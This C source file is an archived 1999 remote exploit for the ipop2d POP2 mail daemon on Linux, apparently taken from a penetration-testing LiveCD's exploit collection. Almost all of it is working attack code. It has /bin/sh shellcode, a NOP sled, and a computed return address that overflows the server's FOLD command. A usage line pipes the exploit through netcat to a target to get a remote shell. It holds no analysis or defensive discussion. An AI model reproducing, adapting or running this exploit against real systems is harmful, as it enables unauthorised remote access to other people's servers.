home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop2 / SDI-pop2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  127 lines

  1. /*
  2.  * Sekure SDI (Brazilian Information Security Team)
  3.  * ipop2d remote exploit for linux (Jun, 02 1999)
  4.  *
  5.  * by c0nd0r <condor@sekure.org>
  6.  *
  7.  *  (read the instructions below)
  8.  *
  9.  *  Thanks to jamez, bahamas, dumped, bishop, slide, paranoia, stderr,
  10.  *            falcon, vader, c_orb, marty(nordo!) and minha malinha!
  11.  *            also to #uground (irc.brasnet.org) and #SDI (efnet),
  12.  *            guys at el8.org, toxyn.org, pulhas.org
  13.  *
  14.  *  Sincere Apologizes: duke (for the mistake we made with the wu-expl),
  15.  *                     your code rocks.
  16.  *
  17.  *  Usage:
  18.  *
  19.  *    SDI-pop2 <imap_server> <user> <pass> [offset]
  20.  *
  21.  *   where  imap_server = IMAP server at your box (or other place as well)
  22.  *          user = any account at your box
  23.  *          pass = the account's password
  24.  *          offset = 0 is default -- increase if it's necessary.
  25.  *
  26.  *  Example: (netcat rocks)
  27.  *
  28.  *  (./SDI-pop ppp-666.lame.org rewt lame 0; cat) | nc lame.org 109
  29.  *
  30.  *  ----------------------------------------------------------------
  31.  *  HOWTO-exploit:
  32.  *
  33.  *   In order to gain remote access as user nobody, you should set
  34.  *   an IMAP server at your box (just edit the inetd.conf) or at
  35.  *   any other machine which you have an account.
  36.  *
  37.  *   During the anonymous_login() function, the ipop2d will set the
  38.  *   uid to user nobody, so you are not going to get a rootshell.
  39.  *  ----------------------------------------------------------------
  40.  *
  41.  *  We do NOT take any responsability for the consequences of using
  42.  *  this code -- you've been warned! don't be a script k1dd13!
  43.  *
  44.  */
  45.  
  46.  
  47. #include <stdio.h>
  48.  
  49. /*
  50.  *  (shellcode)
  51.  * 
  52.  *       jmp   0x1f
  53.  *       popl  %esi
  54.  *       movl  %esi,0x8(%esi)
  55.  *       xorl  %eax,%eax
  56.  *       movb  %eax,0x7(%esi)
  57.  *       movl  %eax,0xc(%esi)
  58.  *       movb  $0xb,%al
  59.  *       movl  %esi,%ebx
  60.  *       leal  0x8(%esi),%ecx
  61.  *       leal  0xc(%esi),%edx
  62.  *       int   $0x80
  63.  *       xorl  %ebx,%ebx
  64.  *       movl  %ebx,%eax
  65.  *       inc   %eax
  66.  *       int   $0x80
  67.  *       call  -0x24
  68.  *       .string \"/bin/sh\"
  69.  * grab your shellcode generator at www.sekure.org
  70.  */
  71.  
  72. char c0d3[] =
  73.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  74.   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  75.   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
  76.   "\xff\xff/bin/sh";
  77.  
  78.  
  79. main (int argc, char *argv[] )
  80. {
  81.   char buf[2500];
  82.   int x,y=1000, offset=0;
  83.   long addr;
  84.   char host[255], user[255], pass[255];
  85.   int bsize=986;
  86.  
  87.   if ( argc < 4)
  88.     {
  89.       printf ( "Sekure SDI ipop2d remote exploit - Jun, 02 1999\n");
  90.       printf ( "usage:
  91.                (SDI-pop2 <imap server> <user> <pass> [offset];cat) | nc lame.org 109\n");
  92.       exit (0);
  93.     }
  94.  
  95.   snprintf ( host, sizeof(host), "%s", argv[1]);
  96.   snprintf ( user, sizeof(user), "%s", argv[2]);
  97.   snprintf ( pass, sizeof(pass), "%s", argv[3]);
  98.  
  99.   if ( argc > 4) offset = atoi ( argv[4]);
  100.   /* gimme the ret + offset */
  101.   addr = 0xbffff3c0 + offset;
  102.   fprintf ( stderr, "0wning data since 0x%x\n\n", addr);
  103.  
  104.   /* calculation of the return address position */
  105.   bsize -= strlen ( host);
  106.  
  107.   for ( x = 0; x < bsize-strlen(c0d3); x++)
  108.     buf[x] = 0x90;
  109.  
  110.   for ( y = 0; y < strlen(c0d3); x++, y++)
  111.     buf[x] = c0d3[y];
  112.  
  113.   for (  ; x < 1012; x+=4)
  114.     {
  115.       buf[x  ] = addr & 0x000000ff;
  116.       buf[x+1] = (addr & 0x0000ff00) >> 8;
  117.       buf[x+2] = (addr & 0x00ff0000) >> 16;
  118.       buf[x+3] = (addr & 0xff000000) >> 24;
  119.     }
  120.  
  121.   sleep (1);
  122.   printf ( "HELO %s:%s %s\r\n", host, user, pass);
  123.   sleep (1);
  124.   printf ( "FOLD %s\r\n", buf);
  125.  
  126. }
  127. /*                    www.hack.co.za              [2000]*/